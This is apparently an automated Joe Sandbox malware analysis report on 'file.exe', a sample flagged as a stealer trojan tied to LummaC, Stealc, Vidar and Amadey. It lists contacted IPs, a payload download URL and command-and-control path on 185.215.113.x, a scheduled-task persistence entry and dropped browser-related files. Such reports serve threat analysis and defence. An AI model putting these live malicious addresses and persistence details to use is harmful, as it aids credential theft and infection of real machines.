https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
http://185.215.113.16/luma/random.exe2	skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/luma/random.exe0(	skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
http://185.215.113.16/d	skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.218.232.186	unknown	United States	24835	RAYA-ASEG	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.4	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.198.7.168	unknown	United States	20940	AKAMAI-ASN1EU	false
23.198.7.167	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
20.99.185.48	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.168.2.47	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.154.84.35	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
216.58.212.174	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
4.152.133.8	unknown	United States	3356	LEVEL3US	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.16.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.213	unknown	United States	20940	AKAMAI-ASN1EU	false
23.47.50.162	unknown	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1552920
Start date and time:	2024-11-09 22:08:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/304@24/27
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 216.58.206.78, 64.233.167.84, 34.104.35.123, 199.232.214.172, 142.250.185.99, 192.229.221.95, 172.217.16.202, 142.250.186.74, 142.250.186.106, 172.217.16.138, 142.250.186.42, 142.250.184.202, 172.217.18.10, 142.250.185.138, 172.217.18.106, 142.250.185.234, 142.250.185.202, 142.250.185.74, 142.250.186.138, 142.250.185.170, 142.250.181.234, 142.250.186.170, 216.58.212.138, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.185.206, 13.107.6.158, 51.137.3.145, 2.16.164.107, 2.16.164.83, 88.221.110.179, 88.221.110.195, 2.19.96.41, 2.19.96.56, 2.19.96.8, 2.19.96.83, 2.19.96.80, 2.19.96.74, 2.19.96.16, 2.19.96.50, 2.19.96.88, 184.86.251.5, 184.86.251.14, 184.86.251.13, 184.86.251.30, 184.86.251.8, 184.86.251.10, 184.86.251.16, 184.86.251.9, 184.86.251.4, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.19.120.14, 2.19.120.17, 2.19.120.20, 2.19.120.26, 2.19.120.18, 2.19.120.24, 2.19.120.25, 2.19.120.19, 2.19.120.22, 184.86.251.23, 184.86.251.27,
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, prod-agic-we-6.westeurope.cloudapp.azure.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, prod-agic-we-2.westeurope.cloudapp.azure.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeasset
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:09:41	API Interceptor	148x Sleep call for process: file.exe modified
16:11:01	API Interceptor	120x Sleep call for process: skotes.exe modified
22:10:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	6uqT7ARJKQ.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	qY6icLzPUp.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.218.232.186	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	setup.msi	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.72
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.72
	HrxOpVxK5d.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	18.245.60.53
	s6QYhBcJtc.exe	Get hash	malicious	Stealc	Browse	18.239.83.98
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.245.60.107
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
	https://www.canva.com/design/DAGVsvWsNbI/iZzU0BNPZvRGZSXgumDARw/view?utm_content=DAGVsvWsNbI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.27
	RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	GuLoader, Remcos	Browse	18.244.18.27
s-part-0017.t-0009.t-msedge.net	4ypfhRa0gT.bat	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://canadapost.postescanadry.xyz/ca	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	dpTxxxoArz.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	https://www.kingpower.com/terma/GeHDLf/?lang=//axieu.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	6ZoyuXVYR6.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	13.107.246.45
	huq4ngW4c8.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.45
	AKM6RvmtTX.dll	Get hash	malicious	Numando	Browse	13.107.246.45
chrome.cloudflare-dns.com	https://qrco.de/bfYBpc	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	HrxOpVxK5d.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	172.64.41.3
	s6QYhBcJtc.exe	Get hash	malicious	Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	HrxOpVxK5d.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	94.245.104.56
	s6QYhBcJtc.exe	Get hash	malicious	Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	GuLoader, Remcos	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	157.56.241.246
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.227.121
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.227.128
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	Cursor Commander.exe	Get hash	malicious	Unknown	Browse	20.157.217.118
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.228.161.161
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60
	https://lstaff-my.sharepoint.com/:u:/p/jjennings/EY1OYgIVcSZKlFv292qB-tkByOEYFXOJVK108XJs6zkANQ?e=4gN9nE	Get hash	malicious	Unknown	Browse	52.110.17.12
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	150.171.27.10
	SecuriteInfo.com.Win32.Application.Agent.NSIF6L.17895.28880.exe	Get hash	malicious	Unknown	Browse	52.182.143.212
MICROSOFT-CORP-MSN-AS-BLOCKUS	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	157.56.241.246
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.227.121
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.227.128
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	Cursor Commander.exe	Get hash	malicious	Unknown	Browse	20.157.217.118
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.228.161.161
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60
	https://lstaff-my.sharepoint.com/:u:/p/jjennings/EY1OYgIVcSZKlFv292qB-tkByOEYFXOJVK108XJs6zkANQ?e=4gN9nE	Get hash	malicious	Unknown	Browse	52.110.17.12
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	150.171.27.10
	SecuriteInfo.com.Win32.Application.Agent.NSIF6L.17895.28880.exe	Get hash	malicious	Unknown	Browse	52.182.143.212
RAYA-ASEG	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	41.69.27.246
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	197.132.31.222
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.132.217.195
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	197.135.63.178
	x86_64.elf	Get hash	malicious	Mirai	Browse	197.134.36.248
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	HrxOpVxK5d.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.185
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	23.218.232.170
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.185
	https://www.capcut.com/download-guidance?download_url=https%3A%2F%2Flf16-capcut.faceulv.com%2Fobj%2Fcapcutpc-packages-us%2Finstaller%2Fcapcut_capcutpc_0_1.2.6_installer.exe	Get hash	malicious	Unknown	Browse	23.218.232.182
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	jJc7vAIq4E.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	fpY959AM6i.exe	Get hash	malicious	Stealc	Browse	23.1.237.91 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	23.1.237.91 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91 13.107.246.45
	https://www.kingpower.com/terma/GeHDLf/?lang=//axieu.com	Get hash	malicious	Unknown	Browse	23.1.237.91 13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	23.1.237.91 13.107.246.45
	s6QYhBcJtc.exe	Get hash	malicious	Stealc	Browse	23.1.237.91 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91 13.107.246.45
	https://secure-mail.hsbc.de/formpostdir/securereader?id=buRiZIy2hiGQ42e8QHLHretj4gVY_BfV&brand=d788ad43	Get hash	malicious	Unknown	Browse	23.1.237.91 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91 13.107.246.45
28a2c9bd18a11de089ef85a160da29e4	https://qrco.de/bfYBpc	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	fpY959AM6i.exe	Get hash	malicious	Stealc	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	https://canadapost.postescanadry.xyz/ca	Get hash	malicious	Unknown	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	g8Z5OO8o6p.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 2.19.244.127 40.126.32.72 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	g8Z5OO8o6p.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	xQ9Dzc7cj9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	g8Z5OO8o6p.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	xQ9Dzc7cj9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHIDAAKFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAKKEGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKJKFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649945586008255
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMHSAELyKOMq+8yC8F/YfU5m+OlTLVum9:Bq+n0JH9ELyKOMq+8y9/Owm
MD5:	A3BB1F1F79E2F937C644332364B641FE
SHA1:	CC9D7FF4A3BDB2DDA8DAF21877512DDDBE473FBE
SHA-256:	88B682667DC73222F6177E205C7A10928E2A29723055814CC7D639A05269220A
SHA-512:	A3EED1B5DEC66016706630A608E5EE02C43A78CAE49664706C1C3A1B4F352C90CFA3A2BD4AB67127C30DCB2D12EEF2AE06B8B83F5DBBD120A9EC6E799F5DA0CE
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKJKJDBFIIDHJKEHJEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKECAEGDHIECBGHIII

Download File

